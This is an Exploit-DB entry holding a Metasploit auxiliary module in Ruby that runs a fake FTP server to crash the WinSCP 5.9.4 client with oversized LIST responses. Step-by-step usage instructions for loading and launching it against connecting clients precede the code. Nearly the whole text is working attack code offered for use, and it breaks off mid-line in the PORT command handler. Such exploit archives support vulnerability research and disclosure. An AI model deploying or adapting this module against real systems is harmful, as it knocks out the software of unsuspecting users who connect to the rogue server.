Exploit-DB #41889
Description: WinSCP 5.9.4 - 'LIST' Denial of Service (Metasploit)
Type: dos
Platform: windows
Date: 2017-04-16
Author: mohammed Mohammed

Exploit:
##
# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application)
 
# Date: [4-4-2017] mm.dd.yy
# Exploit Author: [M.Ibrahim]  vulnbug@gmail.com
# E-Mail:  vulnbug  <at>  gmail.com
# Vendor Home Page: https://winscp.net/eng/index.php
# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe
# Version: [WinSCP 5.9.4] 
# Tested on: windows 7 x86
##
#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all
#then run -j 
#now fake ftp server is ready 
#try to connect to this fake ftp server with winscp client and it will crush
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Exploit::Remote::TcpServer

  def initialize()
    super(
      'Name'           => 'WinSCP CRUSHER',
      'Description'    => %q{
        This module will Crush WinSCP FTP client 
      },
      'Author'         => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'URL', 'http://www.google.com' ],
        ]
      )
    register_options(
      [
      OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
      OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]),
      OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]),
      OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
      OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
      OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),
      OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]),
      OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]),
      OptBool.new('ERROR', [ true, "Reply with error codes only",false]),
      OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])
      ], self.class)
  end

  

  def support_ipv6?
    false
  end

  def setup
    super
    @state = {}
  end

  def run
    @fuzzsize=datastore['STARTSIZE'].to_i
    exploit()
  end

  
  def on_client_connect(c)
    @state[c] = {
      :name => "#{c.peerhost}:#{c.peerport}",
      :ip   => c.peerhost,
      :port => c.peerport,
      :user => nil,
      :pass => nil
    }
    
    print_status("Client connected : " + c.peerhost)
    active_data_port_for_client(c, 20)
    send_response(c,"","WELCOME",220," "+datastore['WELCOME'])
    
  end

  def on_client_close(c)
    @state.delete(c)
  end

  
  def passive_data_port_for_client(c)
    @state[c][:mode] = :passive
    if(not @state[c][:passive_sock])
      s = Rex::Socket::TcpServer.create(
        'LocalHost' => '0.0.0.0',
        'LocalPort' => 0,
        'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
      )
      dport = s.getsockname[2]
      @state[c][:passive_sock] = s
      @state[c][:passive_port] = dport
      
    end
    @state[c][:passive_port]
  end


  def active_data_port_for_client(c,port)
    @state[c][:mode] = :active
    connector = Proc.new {
      host = c.peerhost.dup
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => host,
        'PeerPort' => port,
        'Context'   => { 'Msf' => framework, 'MsfExploit' => self }
      )
    }
    @state[c][:active_connector] = connector
    @state[c][:active_port]      = port
   
  end


  def establish_data_connection(c)
    
    begin
    Timeout.timeout(20) do
      if(@state[c][:mode] == :active)
        return @state[c][:active_connector].call()
      end
      if(@state[c][:mode] == :passive)
        return @state[c][:passive_sock].accept
      end
    end
    
    rescue ::Exception => e
      print_error("Failed to establish data connection: #{e.class} #{e}")
    end
    nil
  end

  
  def on_client_data(c)

    data = c.get_once
    return if not data

    cmd,arg = data.strip.split(/\s+/, 2)
    arg ||= ""

    return if not cmd

    case cmd.upcase.strip

    when 'USER'
      @state[c][:user] = arg
      send_response(c,arg,"USER",331," User name okay, need password")
      return

    when 'PASS'
      @state[c][:pass] = arg
      send_response(c,arg,"PASS",230,"-Password accepted.\r\n230 User logged in.")
      return

    when 'QUIT'
      if (datastore['RESET'])
        print_status("Resetting fuzz settings")
        @fuzzsize = datastore['STARTSIZE']
        @stepsize = datastore['STEPSIZE']
      end
      print_status("** Client disconnected **")
      send_response(c,arg,"QUIT",221," User logged out")
      return

    when 'SYST'
      send_response(c,arg,"SYST",215," UNIX Type: L8")
      return

    when 'TYPE'
      send_response(c,arg,"TYPE",200," Type set to #{arg}")
      return

    when 'CWD'
      send_response(c,arg,"CWD",250," CWD Command successful")
      return

    when 'PWD'
      send_response(c,arg,"PWD",257," \"/\" is current directory.")
      return

    when 'REST'
      send_response(c,arg,"REST",200," OK")
      return

    when 'XPWD'
      send_response(c,arg,"PWD",257," \"/\" is current directory")
      return

    when 'SIZE'
      send_response(c,arg,"SIZE",213," 1")
      return

    when 'MDTM'
      send_response(c,arg,"MDTM",213," #{Time.now.strftime("%Y%m%d%H%M%S")}")
      return

    when 'CDUP'
      send_response(c,arg,"CDUP",257," \"/\" is current directory")
      return

    when 'PORT'
      port = arg.split(',')[4,2]
      if(not port and port.length == 2)
        c.put("500 Illegal PORT command.\r\n")
        return
      end
      port = port.map{|x| x.to_i}.pack('C*').unpack('n')[0]
      active_data_port_for_client(c, port)
      send_response(c,arg,"PORT",200," PORT command su